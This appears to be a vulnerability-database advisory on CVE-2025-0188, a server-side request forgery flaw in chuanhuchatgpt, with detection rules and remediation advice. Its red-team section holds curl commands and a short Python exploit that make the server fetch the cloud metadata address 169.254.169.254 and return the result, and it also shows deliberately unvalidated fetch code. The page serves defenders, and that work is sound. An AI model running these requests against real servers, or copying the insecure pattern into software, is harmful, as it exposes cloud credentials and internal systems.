CVE-2025-0188
Executive Summary
CVE-2025-0188 is a Server-Side Request Forgery (SSRF) vulnerability in gaizhenbiao/chuanhuchatgpt version 20240914. The flaw allows an attacker to craft a malicious URL that, when processed by the application, triggers a server-side request to an internal or external resource. The response is saved in a folder named after the SHA-1 hash of the target URL, enabling the attacker to retrieve the response directly. This can lead to unauthorized access to internal systems, data theft, service disruption, and further attacks such as port scanning and accessing cloud metadata endpoints. The vulnerability has a CVSS score of 6.5 (Medium) and is currently unpatched.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
The threat level is Medium due to the low complexity and no required privileges, but the impact is limited to low confidentiality, integrity, and availability.
Deep Dive & Mechanics
The vulnerability resides in the way chuanhuchatgpt handles user-supplied URLs. When a user submits a URL, the application makes a server-side request to that URL. The response is then saved to a file in a directory named after the SHA-1 hash of the target URL. An attacker can exploit this by:
- Crafting a URL pointing to an internal resource (e.g.,
http://169.254.169.254/latest/meta-data/for cloud metadata). - Submitting this URL to the vulnerable endpoint.
- The server fetches the internal resource and saves the response.
- The attacker can then access the saved response by navigating to the folder named with the SHA-1 hash of the target URL.
This bypasses typical SSRF protections that rely on blocking direct access to internal IPs, as the response is stored and served from the application's own domain.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
import hashlib
import requests
import os
def fetch_url(url):
# No validation of URL
response = requests.get(url)
hash_val = hashlib.sha1(url.encode()).hexdigest()
os.makedirs(f"responses/{hash_val}", exist_ok=True)
with open(f"responses/{hash_val}/response.html", "w") as f:
f.write(response.text)
return f"/responses/{hash_val}/response.html"
Patched Code (Conceptual):
import hashlib
import requests
import os
from urllib.parse import urlparse
ALLOWED_DOMAINS = ["example.com", "api.example.com"]
BLOCKED_IPS = ["127.0.0.1", "169.254.169.254"]
def fetch_url(url):
parsed = urlparse(url)
if parsed.hostname in BLOCKED_IPS:
raise ValueError("Blocked IP")
if not any(parsed.hostname.endswith(domain) for domain in ALLOWED_DOMAINS):
raise ValueError("Domain not allowed")
response = requests.get(url)
hash_val = hashlib.sha1(url.encode()).hexdigest()
os.makedirs(f"responses/{hash_val}", exist_ok=True)
with open(f"responses/{hash_val}/response.html", "w") as f:
f.write(response.text)
return f"/responses/{hash_val}/response.html"
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy chuanhuchatgpt version 20240914 in a Docker container.
- Ensure the container has access to an internal network with a metadata endpoint (e.g., a simulated cloud metadata server).
Exploitation Steps:
- Identify the vulnerable endpoint (e.g.,
/fetchor/proxy). - Craft a request to fetch an internal resource:
curl -X POST http://target:5000/fetch -d "url=http://169.254.169.254/latest/meta-data/" - The server will save the response in a folder named after the SHA-1 hash of the URL.
- Retrieve the saved response:
curl http://target:5000/responses/<sha1_hash>/response.html
Exploit Code (Python):
import requests
import hashlib
target = "http://target:5000"
internal_url = "http://169.254.169.254/latest/meta-data/"
# Step 1: Trigger SSRF
requests.post(f"{target}/fetch", data={"url": internal_url})
# Step 2: Calculate hash and retrieve response
hash_val = hashlib.sha1(internal_url.encode()).hexdigest()
response = requests.get(f"{target}/responses/{hash_val}/response.html")
print(response.text)
Blue Team
Detection Steps:
- Monitor for outbound requests to internal IPs (e.g., 169.254.169.254, 127.0.0.1).
- Look for unusual directory creation patterns (e.g., directories named with SHA-1 hashes).
- Analyze server logs for requests to
/responses/followed by a 40-character hex string.
Hunting Queries:
- Splunk:
index=web_logs uri="/responses/*" | stats count by src_ip - ELK:
GET /responses/* AND response_code:200
Indicators of Compromise (IOCs)
- Network:
- Outbound requests to internal IPs (e.g., 169.254.169.254, 10.0.0.1, 172.16.0.1)
- Requests to
/responses/followed by a 40-character hex string
- File System:
- Directories named with SHA-1 hashes under the application's response directory
- Logs:
- POST requests to
/fetchor similar endpoints withurlparameter containing internal IPs
- POST requests to
Detection Engineering
YARA Rule
rule CVE_2025_0188_SSRF_Response {
meta:
description = "Detects SSRF response files from CVE-2025-0188"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-0188"
strings:
$sha1_dir = /responses\/[0-9a-f]{40}\/response\.html/
condition:
$sha1_dir
}
Sigma Rule
title: CVE-2025-0188 SSRF Response Access
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects access to SSRF response files from CVE-2025-0188
author: Valters IT
date: 2025-01-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-stem|contains: "/responses/"
cs-uri-stem|re: "/responses/[0-9a-f]{40}/response.html"
condition: selection
falsepositives:
- Legitimate use of the feature
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-0188 SSRF Response Access"; flow:to_server,established; content:"/responses/"; http_uri; pcre:"/\/responses\/[0-9a-f]{40}\/response\.html/"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable endpoint if not required.
- Implement strict URL validation (allowlist of domains, block internal IPs).
- Apply network segmentation to limit outbound access from the application server.
Long-term Fix:
- Upgrade to a patched version once available.
- Implement proper SSRF protections (e.g., using a URL parser to block private IPs).
- Use a proxy or firewall to restrict outbound traffic.
Workarounds:
- Use a Web Application Firewall (WAF) to block requests to internal IPs.
- Monitor logs for suspicious activity.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.